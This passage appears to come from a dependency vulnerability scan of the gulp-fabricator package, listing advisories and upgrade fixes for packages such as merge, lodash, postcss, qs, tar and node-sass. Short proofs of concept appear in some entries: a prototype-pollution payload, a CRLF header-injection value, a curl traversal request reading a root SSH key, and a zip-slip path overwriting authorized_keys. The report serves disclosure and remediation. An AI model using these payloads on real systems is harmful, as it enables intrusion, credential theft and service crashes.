  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade unset-value to version 2.0.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: merge
  • Introduced through: gulp-sass-lint@1.4.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › merge@1.2.1

Overview

merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.

Affected versions of this package are vulnerable to Prototype Pollution via _recursiveMerge .

PoC:

const merge = require('merge');

const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');

let obj1 = {x: {y:1}};

console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);

Output:

Before : undefined
After : yes
After : yes

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade merge to version 2.1.1 or higher.

References

high severity

Improper Privilege Management

  • Vulnerable module: shelljs
  • Introduced through: gulp-sass-lint@1.4.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › eslint@2.13.1 › shelljs@0.6.1

Overview

shelljs is a wrapper for the Unix shell commands for Node.js.

Affected versions of this package are vulnerable to Improper Privilege Management. When ShellJS is used to create shell scripts which may be running as root, users with low-level privileges on the system can leak sensitive information such as passwords (depending on implementation) from the standard output of the privileged process OR shutdown privileged ShellJS processes via the exec function when triggering EACCESS errors.

Note: Thi only impacts the synchronous version of shell.exec().

Remediation

Upgrade shelljs to version 0.8.5 or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: form-data
  • Introduced through: gulp-htmlhint@3.0.0 and gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › request@2.88.0 › form-data@2.3.3
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › request@2.88.2 › form-data@2.3.3
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › form-data@2.3.3

Overview

Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.

PoC

const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());

Remediation

Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: gulp-htmlhint@3.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › jshint@2.13.6 › lodash@4.17.23

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

medium severity

Inefficient Algorithmic Complexity

  • Vulnerable module: markdown-it
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › jsdoc@3.6.11 › markdown-it@12.3.2

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity through the replaceAt() function in the smartquotes rule when processing markdown input with a large number of consecutive quotation marks and the typographer option enabled. An attacker can cause excessive CPU consumption and disrupt service availability by submitting specially crafted markdown content containing many quote characters.

Remediation

Upgrade markdown-it to version 14.2.0 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: postcss
  • Introduced through: autoprefixer@9.7.4, gulp-postcss@8.0.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › autoprefixer@9.7.4 › postcss@7.0.39
    Remediation: Upgrade to autoprefixer@10.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-postcss@8.0.0 › postcss@7.0.39
    Remediation: Upgrade to gulp-postcss@9.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss@7.0.39
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5 › postcss@7.0.39
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss-less@3.1.4 › postcss@7.0.39

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Directory Traversal in the PreviousMap.loadFile() method of lib/previous-map.js, which nests its traversal guard inside an if (cssFile) branch that is skipped when the from option is unset, leaving only a check that the target path ends in .map. An attacker can read arbitrary .map files from the filesystem, disclosing their sources paths and sourcesContent through the generated source map, by placing an absolute or ../ path in a sourceMappingURL comment in the processed CSS. This requires the application to process attacker-influenced CSS without the from option, with map enabled and the source-map module available, and then expose result.map to the attacker, and the read is limited to JSON-parseable files ending in .map.

Workaround

This vulnerability can be avoided by passing an explicit from option when processing untrusted CSS, which restores the traversal guard that is otherwise skipped.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-45623.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade postcss to version 8.5.23 or higher.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: postcss-selector-parser
  • Introduced through: gulp-lesshint@6.1.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › postcss-selector-parser@5.0.0

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the toString function in the AST Serialization. An attacker can cause uncontrolled recursion by providing specially crafted input, potentially resulting in resource exhaustion and application unavailability.

Note: Although a fix was implemented in version 7.1.2, it was incomplete and improved in 7.1.3

Remediation

Upgrade postcss-selector-parser to version 6.1.3, 7.1.3 or higher.

References

medium severity

Uncaught Exception

  • Vulnerable module: qs
  • Introduced through: gulp-htmlhint@3.0.0 and gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › request@2.88.0 › qs@6.5.5
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › request@2.88.2 › qs@6.5.5
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › qs@6.5.5

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Uncaught Exception in the isBuffer() function in lib/utils.js, which calls obj.constructor.isBuffer(obj) without checking that it is callable, reached from stringify() at lib/stringify.js:127. An attacker can throw an uncaught TypeError that fails each request with HTTP 500, and terminates the worker process when stringify() runs in an unguarded async context, by supplying a query string such as x[constructor][isBuffer]=y that sets constructor.isBuffer to a non-function value. This requires the application to call qs.parse() with plainObjects: true or allowPrototypes: true, which preserves the constructor own property, and to then pass the parsed result to qs.stringify().

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.16.0 or higher.

References

medium severity

Incorrect Type Conversion or Cast

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast via the src/pax.ts file. An attacker can cause a process crash by providing all-digit PAX path or linkpath values that are coerced to JavaScript numbers, leading to a TypeError during downstream path handling.

Remediation

Upgrade tar to version 7.5.18 or higher.

References

medium severity

Interpretation Conflict

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.

Remediation

Upgrade tar to version 7.5.16 or higher.

References

medium severity

Uncaught Exception

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncaught Exception through improper handling of NUL bytes in the src/pax.ts file. An attacker can cause the application to terminate unexpectedly by providing a crafted archive containing NUL bytes in PAX path or linkpath records, which leads to an uncaught exception when these values are passed to filesystem operations.

Remediation

Upgrade tar to version 7.5.17 or higher.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the mapHas helper and filesFilter function in src/list.ts, which walk an entry path upward with one path.dirname() call per recursion and no segment cap. An attacker can terminate the Node process with an uncatchable stack-overflow RangeError by supplying a tar archive whose GNU L or PAX x long-path header carries tens of thousands of /-separated segments, when that archive is listed or extracted with a member-selection filter. Exploitation requires the application to call tar.t() or tar.x() with a non-empty member-selection list on an untrusted archive, and on async or streaming consumers the error is uncatchable while synchronous APIs can catch it.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tar to version 7.5.21 or higher.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: uri-js
  • Introduced through: gulp-htmlhint@3.0.0 and gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › request@2.88.0 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via pctDecChars(), which decodes invalid and overlong percent-encoded sequences into ASCII metacharacters. An attacker can craft percent-encoded payloads to bypass platform decoder validation and inject path traversal or CRLF sequences that downstream consumers process without filtering.

Remediation

There is no fixed version for uri-js.

References

medium severity

Symlink Attack

  • Vulnerable module: tmp
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › tmp@0.0.33

Overview

Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.

PoC

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

Remediation

Upgrade tmp to version 0.2.4 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: node-sass
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Denial of Service (DoS). Uncontrolled recursion is possible in Sass::Complex_Selector::perform in ast.hpp and Sass::Inspect::operator in inspect.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

medium severity

Out-of-Bounds

  • Vulnerable module: node-sass
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-Bounds. A heap-based buffer over-read exists in Sass::Prelexer::parenthese_scope in prelexer.hpp. node-sass is affected by this vulnerability due to its bundled usage of libsass.

Remediation

There is no fixed version for node-sass.

References

medium severity

Out-of-Bounds

  • Vulnerable module: node-sass
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-Bounds via Sass::Prelexer::alternatives in prelexer.hpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

